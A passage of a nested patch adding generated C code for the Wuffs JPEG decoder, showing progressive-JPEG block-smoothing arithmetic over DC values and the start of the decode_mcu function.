wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][17u] = ((uint16_t)(v_scratch)); -+ } -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][24u])); -+ if ((v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][24u] == 0u)) { -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(2u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(4294967294u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } else { -+ v_scratch = ((uint32_t)(0u - (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u)))); -+ } -+ self->private_data.f_mcu_blocks[0u][24u] = ((uint16_t)(v_scratch)); -+ } -+ } else { -+ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][1u]; -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][1u])); -+ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][1u] == 0u)) { -+ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } else { -+ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } -+ self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); -+ } -+ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); -+ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { -+ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } else { -+ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } -+ self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); -+ } -+ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); -+ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { -+ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } else { -+ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } -+ self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); -+ } -+ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); -+ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { -+ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } else { -+ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } -+ self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); -+ } -+ v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; -+ v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); -+ if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { -+ v_limit = ((((uint32_t)(1u)) << v_al) - 1u); -+ v_scratch = 0u; -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); -+ v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); -+ v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); -+ v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); -+ v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); -+ v_scratch *= v_q_00; -+ if (v_scratch < 2147483648u) { -+ v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } else { -+ v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); -+ } -+ self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); -+ } -+ } -+ return wuffs_base__make_empty_struct(); -+} -+ -+// -------- func jpeg.decoder.decode_mcu -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint32_t -+wuffs_jpeg__decoder__decode_mcu( -+ wuffs_jpeg__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__slice_u8 a_workbuf, -+ uint32_t 